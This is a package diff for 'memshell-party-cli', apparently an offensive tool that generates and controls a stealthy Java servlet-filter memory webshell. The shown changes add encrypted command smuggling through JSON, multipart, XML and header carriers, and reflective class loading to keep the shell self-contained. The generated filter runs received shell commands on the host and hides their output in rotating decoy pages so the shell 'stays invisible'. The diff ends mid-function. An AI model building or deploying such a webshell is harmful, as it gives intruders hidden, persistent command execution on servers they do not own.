memshell-party-cli 0.6.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -44,6 +44,14 @@ var MemPartyClient = class {
44
44
  getCommandConfigs() {
45
45
  return this.request("GET", "/api/config/command/configs");
46
46
  }
47
+ /**
48
+ * Servers the ResponseBody probe can write a response on.
49
+ * Only exists on backend >= 2.9.0 — callers should fall back to the full
50
+ * server list when this endpoint 404s.
51
+ */
52
+ getProbeResponseBodyServers() {
53
+ return this.request("GET", "/api/config/probe/response-body/servers");
54
+ }
47
55
  getVersion() {
48
56
  return this.request("GET", "/api/version");
49
57
  }
@@ -1508,6 +1516,13 @@ import { randomInt as randomInt2 } from "crypto";
1508
1516
  import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
1509
1517
  import { homedir as homedir2 } from "os";
1510
1518
  import { join as join2 } from "path";
1519
+ function inferBodyTemplateContentType(bodyTemplate) {
1520
+ const t = bodyTemplate.trimStart();
1521
+ if (t.startsWith("--")) return "multipart/form-data";
1522
+ if (t.startsWith("{") || t.startsWith("[")) return "application/json";
1523
+ if (t.startsWith("<")) return "text/xml";
1524
+ return null;
1525
+ }
1511
1526
  function profileTemplates(profile) {
1512
1527
  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
1513
1528
  return profile.templates;
@@ -1538,6 +1553,7 @@ function pickRequestShape(requests) {
1538
1553
  return requests[requests.length - 1];
1539
1554
  }
1540
1555
  var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1556
+ var PAYLOAD_PLACEHOLDER = "{{payload}}";
1541
1557
  function profilesDir() {
1542
1558
  const override = process.env.MEMPARTY_PROFILES;
1543
1559
  return override ? override : join2(homedir2(), ".memparty", "profiles");
@@ -1559,8 +1575,10 @@ function validateProfile(profile) {
1559
1575
  throw new Error("profile needs at least one template (templates[] or legacy template)");
1560
1576
  }
1561
1577
  templates.forEach((t, i) => {
1562
- if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
1563
- throw new Error(`templates[${i}].template must be a full HTML page`);
1578
+ if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
1579
+ throw new Error(
1580
+ `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
1581
+ );
1564
1582
  }
1565
1583
  if (!t.contentType) {
1566
1584
  throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
@@ -1576,6 +1594,24 @@ function validateProfile(profile) {
1576
1594
  if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
1577
1595
  throw new Error(`request[${ri}].secretIn must be body | query | header`);
1578
1596
  }
1597
+ if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
1598
+ throw new Error(`request[${ri}].bodyStyle must be form | json`);
1599
+ }
1600
+ if (req.bodyTemplate !== void 0) {
1601
+ if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
1602
+ throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
1603
+ }
1604
+ if (req.secretIn !== void 0 && req.secretIn !== "body") {
1605
+ throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
1606
+ }
1607
+ }
1608
+ if (req.headers !== void 0) {
1609
+ for (const [k, v] of Object.entries(req.headers)) {
1610
+ if (typeof v !== "string" || !k) {
1611
+ throw new Error(`request[${ri}].headers must be a string map`);
1612
+ }
1613
+ }
1614
+ }
1579
1615
  for (const [i, f] of (req.fields ?? []).entries()) {
1580
1616
  if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
1581
1617
  throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
@@ -1747,7 +1783,6 @@ function renderFieldValue(value) {
1747
1783
  (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
1748
1784
  );
1749
1785
  }
1750
- var RIGHT_MARKER = '";';
1751
1786
  function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
1752
1787
  return encryptField(plaintext, aesKey, cipher);
1753
1788
  }
@@ -1760,6 +1795,50 @@ function buildFormBody(fields) {
1760
1795
  "utf8"
1761
1796
  );
1762
1797
  }
1798
+ function buildJsonBody(fields) {
1799
+ const obj = {};
1800
+ for (const f of fields) obj[f.name] = f.value;
1801
+ return Buffer.from(JSON.stringify(obj), "utf8");
1802
+ }
1803
+ function renderBodyTemplate(template, payload) {
1804
+ return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
1805
+ }
1806
+ function escapeRegExp(s) {
1807
+ return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
1808
+ }
1809
+ function decodeJsonBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
1810
+ const text = body.toString("utf8");
1811
+ const m = new RegExp(`"${escapeRegExp(pass)}"\\s*:\\s*"([^"]*)"`).exec(text);
1812
+ if (!m) return null;
1813
+ try {
1814
+ return decryptField2(m[1], aesKey, cipher);
1815
+ } catch {
1816
+ return null;
1817
+ }
1818
+ }
1819
+ function decodeMultipartBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
1820
+ const text = body.toString("utf8");
1821
+ const m = new RegExp(`name="${escapeRegExp(pass)}"[^\\n]*\\r?\\n(\\r?\\n|[^\\n]*\\r?\\n)*\\r?\\n([^\\r\\n]*)`).exec(text);
1822
+ if (!m) return null;
1823
+ try {
1824
+ return decryptField2(m[2], aesKey, cipher);
1825
+ } catch {
1826
+ return null;
1827
+ }
1828
+ }
1829
+ function decodeXmlBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
1830
+ const text = body.toString("utf8");
1831
+ const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)</${escapeRegExp(pass)}>`).exec(text);
1832
+ if (!m) return null;
1833
+ try {
1834
+ return decryptField2(m[1], aesKey, cipher);
1835
+ } catch {
1836
+ return null;
1837
+ }
1838
+ }
1839
+ function decodeAnyBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
1840
+ return decodeJsonBody(body, pass, aesKey, cipher) ?? decodeMultipartBody(body, pass, aesKey, cipher) ?? decodeXmlBody(body, pass, aesKey, cipher);
1841
+ }
1763
1842
  function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
1764
1843
  const text = body.toString("utf8");
1765
1844
  for (const pair of text.split("&")) {
@@ -1780,13 +1859,32 @@ function injectFragment(templateHtml, fragment) {
1780
1859
  if (idx === -1) return templateHtml + fragment;
1781
1860
  return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
1782
1861
  }
1783
- function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
1784
- const start = html.indexOf(leftMarker);
1862
+ function extractBetween(text, left, right) {
1863
+ const start = text.indexOf(left);
1785
1864
  if (start === -1) return null;
1786
- const valueStart = start + leftMarker.length;
1787
- const end = html.indexOf(rightMarker, valueStart);
1865
+ const valueStart = start + left.length;
1866
+ if (right === "") return text.slice(valueStart);
1867
+ const end = text.indexOf(right, valueStart);
1788
1868
  if (end === -1) return null;
1789
- return html.slice(valueStart, end);
1869
+ return text.slice(valueStart, end);
1870
+ }
1871
+ function templateDelimiters(templates, markers) {
1872
+ const out = [];
1873
+ let markerUsed = false;
1874
+ for (const t of templates) {
1875
+ const idx = t.template.indexOf("{{payload}}");
1876
+ if (idx !== -1) {
1877
+ out.push({
1878
+ left: t.template.slice(0, idx),
1879
+ right: t.template.slice(idx + "{{payload}}".length)
1880
+ });
1881
+ } else if (!markerUsed) {
1882
+ out.push({ left: markers.left, right: markers.right });
1883
+ markerUsed = true;
1884
+ }
1885
+ }
1886
+ if (out.length === 0) out.push({ left: markers.left, right: markers.right });
1887
+ return out;
1790
1888
  }
1791
1889
 
1792
1890
  // src/connect/mimic.ts
@@ -1828,6 +1926,7 @@ async function roundTrip(req, ctx, plaintext) {
1828
1926
  const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
1829
1927
  const secretField = shape?.secretField ?? ctx.pass;
1830
1928
  const secretIn = shape?.secretIn ?? "body";
1929
+ const bodyStyle = shape?.bodyStyle ?? "form";
1831
1930
  const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
1832
1931
  const decoys = (shape?.fields ?? []).map((f) => ({
1833
1932
  name: f.name,
@@ -1841,11 +1940,29 @@ async function roundTrip(req, ctx, plaintext) {
1841
1940
  body = Buffer.alloc(0);
1842
1941
  } else if (secretIn === "header") {
1843
1942
  extraHeaders[secretField] = cipher;
1844
- body = buildFormBody(decoys);
1943
+ body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
1944
+ } else if (shape?.bodyTemplate) {
1945
+ body = renderBodyTemplate(shape.bodyTemplate, cipher);
1845
1946
  } else {
1846
- body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
1847
- }
1848
- const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
1947
+ body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
1948
+ }
1949
+ const baseHeaders = { ...BROWSER_HEADERS };
1950
+ if (secretIn === "query") delete baseHeaders["Content-Type"];
1951
+ else if (shape?.bodyTemplate) {
1952
+ const t = shape.bodyTemplate.trimStart();
1953
+ if (t.startsWith("--")) {
1954
+ const boundary = t.split(/\r?\n/, 1)[0].slice(2);
1955
+ baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
1956
+ } else {
1957
+ const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
1958
+ if (inferred) baseHeaders["Content-Type"] = inferred;
1959
+ else delete baseHeaders["Content-Type"];
1960
+ }
1961
+ } else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
1962
+ const headers = buildHeaders(
1963
+ { ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
1964
+ req.common
1965
+ );
1849
1966
  let res;
1850
1967
  try {
1851
1968
  res = await postRaw(requestUrl, body, {
@@ -1871,7 +1988,16 @@ async function roundTrip(req, ctx, plaintext) {
1871
1988
  durationMs: res.durationMs
1872
1989
  };
1873
1990
  }
1874
- const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
1991
+ const text = res.body.toString("utf8");
1992
+ const delimiters = templateDelimiters(
1993
+ ctx.profile ? profileTemplates(ctx.profile) : [],
1994
+ ctx.markers
1995
+ );
1996
+ let b64 = null;
1997
+ for (const d of delimiters) {
1998
+ b64 = extractBetween(text, d.left, d.right);
1999
+ if (b64 !== null) break;
2000
+ }
1875
2001
  if (b64 === null) {
1876
2002
  return {
1877
2003
  ok: false,
@@ -2437,9 +2563,98 @@ function resolveJreVersion(input3) {
2437
2563
  }
2438
2564
 
2439
2565
  // src/custom/java-template.ts
2566
+ function renderWrapperJava() {
2567
+ return `package mimic;
2568
+
2569
+ import java.io.*;
2570
+ import javax.servlet.*;
2571
+ import javax.servlet.http.*;
2572
+
2573
+ /** Re-exposes a consumed request body to downstream filters/servlets. */
2574
+ public class CachedBody extends HttpServletRequestWrapper {
2575
+ private final byte[] body;
2576
+
2577
+ public CachedBody(HttpServletRequest req, byte[] body) {
2578
+ super(req);
2579
+ this.body = body;
2580
+ }
2581
+
2582
+ public ServletInputStream getInputStream() {
2583
+ return new Stream(body);
2584
+ }
2585
+
2586
+ public BufferedReader getReader() {
2587
+ return new BufferedReader(new InputStreamReader(getInputStream()));
2588
+ }
2589
+
2590
+ static class Stream extends ServletInputStream {
2591
+ private final ByteArrayInputStream in;
2592
+
2593
+ Stream(byte[] body) {
2594
+ this.in = new ByteArrayInputStream(body);
2595
+ }
2596
+
2597
+ public int read() {
2598
+ return in.read();
2599
+ }
2600
+
2601
+ public boolean isFinished() {
2602
+ return in.available() == 0;
2603
+ }
2604
+
2605
+ public boolean isReady() {
2606
+ return true;
2607
+ }
2608
+
2609
+ public void setReadListener(ReadListener l) {}
2610
+ }
2611
+ }
2612
+ `;
2613
+ }
2440
2614
  function javaStringLiteral(s) {
2441
2615
  return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2442
2616
  }
2617
+ function wrapperLoaderMethods(opts) {
2618
+ return `
2619
+ /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
2620
+ uploaded shell stays a single self-contained class file */
2621
+ static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
2622
+ static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
2623
+
2624
+ static Class<?> forNameQuiet(String name, ClassLoader cl) {
2625
+ try {
2626
+ return Class.forName(name, true, cl);
2627
+ } catch (Throwable t) {
2628
+ return null;
2629
+ }
2630
+ }
2631
+
2632
+ static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
2633
+ try {
2634
+ java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
2635
+ String.class, byte[].class, int.class, int.class);
2636
+ m.setAccessible(true);
2637
+ byte[] bytes = java.util.Base64.getDecoder().decode(b64);
2638
+ return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
2639
+ } catch (Throwable t) {
2640
+ return null; // another shell in this JVM already defined it
2641
+ }
2642
+ }
2643
+
2644
+ /** Wrap the request so downstream code can re-read the JSON body we consumed. */
2645
+ static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
2646
+ ClassLoader cl = ${opts.className}.class.getClassLoader();
2647
+ Class<?> c = forNameQuiet("mimic.CachedBody", cl);
2648
+ if (c == null) {
2649
+ defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
2650
+ c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
2651
+ if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
2652
+ }
2653
+ return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
2654
+ .newInstance(req, body);
2655
+ }
2656
+ `;
2657
+ }
2443
2658
  var MD5_METHOD = String.raw`
2444
2659
  static String md5Hex(String s) throws Exception {
2445
2660
  MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2575,9 +2790,11 @@ function sharedMethods(cipher) {
2575
2790
  return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2576
2791
  }
2577
2792
  function renderFilterJava(opts) {
2578
- const { className, pass, secret, fields, templates, cipher } = opts;
2793
+ const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
2579
2794
  const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2580
- const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
2795
+ const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
2796
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
2797
+ const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
2581
2798
  return `package mimic;
2582
2799
 
2583
2800
  import java.io.*;
@@ -2592,37 +2809,120 @@ import javax.servlet.http.*;
2592
2809
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
2593
2810
  * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2594
2811
  *
2595
- * Detection uses getParameter()/getHeader() only, never reads the body
2596
- * stream: form posts are parsed+cached by the container so downstream
2597
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
2598
- * untouched body stream for the shell behind us. Anything that is not ours
2599
- * falls through chain.doFilter; any error answers with the cover page.
2812
+ * Detection uses getParameter()/getHeader() first, never touching the body
2813
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
2814
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
2815
+ * still see the body. Anything that is not ours falls through chain.doFilter;
2816
+ * any error answers with the plain cover template.
2600
2817
  */
2601
2818
  public class ${className} implements Filter {
2602
2819
  /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2603
2820
  static final String[] FIELDS = { ${fieldsJava} };
2821
+ /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
2822
+ static final String[] BODY_CTS = { ${bodyCtsJava} };
2604
2823
  /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2605
2824
  static final String PASS = "${javaStringLiteral(pass)}";
2606
2825
  static final String SECRET = "${javaStringLiteral(secret)}";
2607
- /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
2826
+ /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
2608
2827
  static final String[] TPLS = {
2609
2828
  ${tplsJava}
2610
2829
  };
2830
+ /** Content-Type of each cover body (parallel to TPLS). */
2831
+ static final String[] CTS = { ${ctsJava} };
2611
2832
 
2612
2833
  public void init(FilterConfig filterConfig) {}
2613
2834
  public void destroy() {}
2614
2835
  ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2836
+ static byte[] readAll(InputStream in) throws IOException {
2837
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2838
+ byte[] buf = new byte[8192];
2839
+ int n;
2840
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2841
+ return bos.toByteArray();
2842
+ }
2843
+
2844
+ /** read the body only when its Content-Type is one the profile actually uses */
2845
+ static boolean ctMatches(String ct) {
2846
+ String l = ct.toLowerCase();
2847
+ for (String n : BODY_CTS) if (l.contains(n)) return true;
2848
+ return false;
2849
+ }
2850
+
2851
+ /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
2852
+ static String jsonField(String body, String field) {
2853
+ String needle = "\\"" + field + "\\"";
2854
+ int i = body.indexOf(needle);
2855
+ if (i < 0) return null;
2856
+ int colon = body.indexOf(':', i + needle.length());
2857
+ if (colon < 0) return null;
2858
+ int q1 = body.indexOf('"', colon + 1);
2859
+ if (q1 < 0) return null;
2860
+ int q2 = body.indexOf('"', q1 + 1);
2861
+ if (q2 < 0) return null;
2862
+ return body.substring(q1 + 1, q2);
2863
+ }
2864
+
2865
+ /** minimal multipart extraction: the value follows the part headers of name="field" */
2866
+ static String multipartField(String body, String field) {
2867
+ String needle = "name=\\"" + field + "\\"";
2868
+ int i = body.indexOf(needle);
2869
+ if (i < 0) return null;
2870
+ int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
2871
+ int sepLen = 4;
2872
+ if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
2873
+ if (sep < 0) return null;
2874
+ int start = sep + sepLen;
2875
+ int end = body.indexOf('\\n', start);
2876
+ if (end < 0) end = body.length();
2877
+ String v = body.substring(start, end).trim();
2878
+ return v.isEmpty() ? null : v;
2879
+ }
2880
+
2881
+ /** minimal XML extraction: <field>value</field> */
2882
+ static String xmlField(String body, String field) {
2883
+ String open = "<" + field + ">";
2884
+ int i = body.indexOf(open);
2885
+ if (i < 0) return null;
2886
+ int start = i + open.length();
2887
+ int end = body.indexOf("</" + field + ">", start);
2888
+ if (end < 0) return null;
2889
+ return body.substring(start, end);
2890
+ }
2891
+ ${wrapperLoaderMethods(opts)}
2615
2892
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2616
2893
  throws IOException, ServletException {
2894
+ HttpServletRequest httpReq = request instanceof HttpServletRequest
2895
+ ? (HttpServletRequest) request : null;
2617
2896
  String value = null;
2618
2897
  for (String f : FIELDS) {
2619
2898
  value = request.getParameter(f);
2620
- if (value == null && request instanceof HttpServletRequest) {
2899
+ if (value == null && httpReq != null) {
2621
2900
  // secretIn=header: the ciphertext may ride a header instead of a form field
2622
- value = ((HttpServletRequest) request).getHeader(f);
2901
+ value = httpReq.getHeader(f);
2623
2902
  }
2624
2903
  if (value != null) break;
2625
2904
  }
2905
+ if (value == null && httpReq != null) {
2906
+ // the ciphertext may ride a raw body of any bodyTemplate shape
2907
+ // (JSON / multipart / XML\u2026). Read it once and re-expose it
2908
+ // downstream via the caching wrapper.
2909
+ String ct = httpReq.getContentType();
2910
+ if (ct != null && ctMatches(ct)) {
2911
+ try {
2912
+ byte[] bodyBytes = readAll(httpReq.getInputStream());
2913
+ String bodyText = new String(bodyBytes, "UTF-8");
2914
+ for (String f : FIELDS) {
2915
+ value = jsonField(bodyText, f);
2916
+ if (value == null) value = multipartField(bodyText, f);
2917
+ if (value == null) value = xmlField(bodyText, f);
2918
+ if (value != null) break;
2919
+ }
2920
+ request = wrapBody(httpReq, bodyBytes);
2921
+ } catch (Throwable wrapperFailed) {
2922
+ // the body is already consumed \u2014 pass through as-is
2923
+ }
2924
+ }
2925
+ }
2626
2926
  if (value == null) {
2627
2927
  chain.doFilter(request, response);
2628
2928
  return;
@@ -2634,11 +2934,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2634
2934
  cmd = decryptField(value, aesKey);
2635
2935
  } catch (Exception notOurs) {
2636
2936
  // the field exists but doesn't decrypt \u2014 this is someone else's
2637
- // legitimate form (e.g. the real login POST), stay invisible
2937
+ // legitimate request (e.g. the real login POST), stay invisible
2638
2938
  chain.doFilter(request, response);
2639
2939
  return;
2640
2940
  }
2641
- String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
2941
+ int ti = new java.util.Random().nextInt(TPLS.length);
2942
+ String tpl = TPLS[ti];
2943
+ String tplCt = CTS[ti];
2642
2944
  try {
2643
2945
  String command = new String(cmd, "UTF-8");
2644
2946
  boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2647,22 +2949,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2647
2949
  : new ProcessBuilder("/bin/sh", "-c", command);
2648
2950
  pb.redirectErrorStream(true);
2649
2951
  Process proc = pb.start();
2650
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
2651
- InputStream in = proc.getInputStream();
2652
- byte[] buf = new byte[8192];
2653
- int n;
2654
- while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2655
2952
  proc.waitFor();
2656
- String payload = encryptField(bos.toByteArray(), aesKey);
2657
- String fragment = wrapPayload(payload, PASS + SECRET);
2658
- int idx = tpl.toLowerCase().lastIndexOf("</body>");
2659
- String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2660
- response.setContentType("text/html;charset=UTF-8");
2953
+ String payload = encryptField(readAll(proc.getInputStream()), aesKey);
2954
+ String page;
2955
+ if (tpl.contains("{{payload}}")) {
2956
+ // placeholder template (any text format): substitute exactly there
2957
+ page = tpl.replace("{{payload}}", payload);
2958
+ } else {
2959
+ String fragment = wrapPayload(payload, PASS + SECRET);
2960
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
2961
+ page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2962
+ }
2963
+ response.setContentType(tplCt);
2661
2964
  response.setCharacterEncoding("UTF-8");
2662
- response.getWriter().write(page);
2965
+ if (tplCt.contains("event-stream")) {
2966
+ // flush chunk by chunk \u2014 a real SSE endpoint streams, a
2967
+ // one-shot body is the wrong shape on the wire
2968
+ java.io.PrintWriter w = response.getWriter();
2969
+ for (String chunk : page.split("\\n\\n", -1)) {
2970
+ if (chunk.isEmpty()) continue;
2971
+ w.write(chunk);
2972
+ w.write("\\n\\n");
2973
+ w.flush();
2974
+ response.flushBuffer();
2975
+ try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
2976
+ }
2977
+ } else {
2978
+ response.getWriter().write(page);
2979
+ }
2663
2980
  } catch (Exception e) {
2664
- // behave like the cover page on any error \u2014 stay quiet
2665
- response.setContentType("text/html;charset=UTF-8");
2981
+ // behave like the cover body on any error \u2014 stay quiet
2982
+ response.setContentType(tplCt);
2666
2983
  response.getWriter().write(tpl);
2667
2984
  }
2668
2985
  }
@@ -2715,6 +3032,29 @@ function profileSecretFields(profile) {
2715
3032
  const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
2716
3033
  return fields.length > 0 ? fields : ["pass"];
2717
3034
  }
3035
+ function ctNeedle(ct) {
3036
+ const media = ct.toLowerCase().split(";", 1)[0].trim();
3037
+ if (media.includes("json")) return "json";
3038
+ if (media.includes("multipart")) return "multipart";
3039
+ if (media.includes("xml")) return "xml";
3040
+ return media;
3041
+ }
3042
+ function profileBodyContentTypes(profile) {
3043
+ const needles = /* @__PURE__ */ new Set();
3044
+ for (const r of profileRequests(profile)) {
3045
+ if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
3046
+ if (r.bodyTemplate !== void 0) {
3047
+ const explicit = Object.entries(r.headers ?? {}).find(
3048
+ ([k]) => k.toLowerCase() === "content-type"
3049
+ )?.[1];
3050
+ const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
3051
+ if (ct) needles.add(ctNeedle(ct));
3052
+ } else if (r.bodyStyle === "json") {
3053
+ needles.add("json");
3054
+ }
3055
+ }
3056
+ return [...needles];
3057
+ }
2718
3058
  function defaultClassName() {
2719
3059
  return `MimicFilter${randomString(4)}`;
2720
3060
  }
@@ -2726,20 +3066,32 @@ async function buildCustomMemshell(input3, client, deps = {}) {
2726
3066
  const urlPattern = input3.urlPattern ?? "/*";
2727
3067
  const packer = input3.packer ?? "DefaultBase64";
2728
3068
  const cipher = resolveCipher(input3.profile.cipher);
2729
- const templates = profileTemplates(input3.profile).map((t) => t.template);
3069
+ const templates = profileTemplates(input3.profile).map((t) => ({
3070
+ template: t.template,
3071
+ contentType: t.contentType
3072
+ }));
2730
3073
  if (templates.length === 0) {
2731
3074
  throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
2732
3075
  }
2733
3076
  const outDir = input3.outDir;
2734
3077
  const packageDir = join5(outDir, "mimic");
2735
3078
  mkdirSync4(packageDir, { recursive: true });
3079
+ const wrapperFile = join5(packageDir, "CachedBody.java");
3080
+ writeFileSync3(wrapperFile, renderWrapperJava(), "utf8");
3081
+ compile([wrapperFile], outDir, { classpath: [jarOf()] });
3082
+ const wrapper = {
3083
+ bodyB64: readFileSync5(join5(packageDir, "CachedBody.class")).toString("base64"),
3084
+ streamB64: readFileSync5(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
3085
+ };
2736
3086
  const javaSource = renderFilterJava({
2737
3087
  className,
2738
3088
  pass: input3.pass,
2739
3089
  secret: input3.secret,
2740
3090
  fields: profileSecretFields(input3.profile),
3091
+ bodyContentTypes: profileBodyContentTypes(input3.profile),
2741
3092
  templates,
2742
- cipher
3093
+ cipher,
3094
+ wrapper
2743
3095
  });
2744
3096
  const javaFile = join5(packageDir, `${className}.java`);
2745
3097
  writeFileSync3(javaFile, javaSource, "utf8");
@@ -3004,20 +3356,29 @@ async function startMimicServer(options = {}) {
3004
3356
  const aesKey = deriveAesKey(secretKey);
3005
3357
  const markers = deriveMarkers(pass, secretKey, cipher);
3006
3358
  const execTimeoutMs = options.execTimeoutMs ?? 5e3;
3007
- const skin = PAGES["/"];
3359
+ const skins = options.templates ?? [
3360
+ { title: "mock", template: PAGES["/"], contentType: "text/html; charset=utf-8" }
3361
+ ];
3362
+ const fields = options.fields ?? [pass];
3008
3363
  const server = http2.createServer((req, res) => {
3009
3364
  if (req.method === "POST") {
3010
3365
  const chunks = [];
3011
3366
  req.on("data", (c) => chunks.push(c));
3012
3367
  req.on("end", () => {
3013
- let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
3014
- if (command === null) {
3015
- const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
3016
- if (query) command = tryDecrypt(query, aesKey, cipher);
3017
- }
3018
- if (command === null) {
3019
- const header = req.headers[pass.toLowerCase()];
3020
- if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
3368
+ const rawBody = Buffer.concat(chunks);
3369
+ let command = null;
3370
+ for (const f of fields) {
3371
+ command = decodeRequestBody(rawBody, f, aesKey, cipher);
3372
+ if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher);
3373
+ if (command === null) {
3374
+ const query = new URL(req.url ?? "/", "http://x").searchParams.get(f);
3375
+ if (query) command = tryDecrypt(query, aesKey, cipher);
3376
+ }
3377
+ if (command === null) {
3378
+ const header = req.headers[f.toLowerCase()];
3379
+ if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
3380
+ }
3381
+ if (command !== null) break;
3021
3382
  }
3022
3383
  if (command === null) {
3023
3384
  res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
@@ -3026,8 +3387,26 @@ async function startMimicServer(options = {}) {
3026
3387
  }
3027
3388
  void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
3028
3389
  const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
3029
- res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
3030
- res.end(injectFragment(skin, markers.wrap(b64)));
3390
+ const skin = skins[Math.floor(Math.random() * skins.length)];
3391
+ const body = skin.template.includes(PAYLOAD_PLACEHOLDER) ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64) : injectFragment(skin.template, markers.wrap(b64));
3392
+ res.writeHead(200, { "Content-Type": skin.contentType });
3393
+ if (skin.contentType.includes("event-stream")) {
3394
+ const sseChunks = body.split("\n\n").filter((c) => c.length > 0);
3395
+ let i = 0;
3396
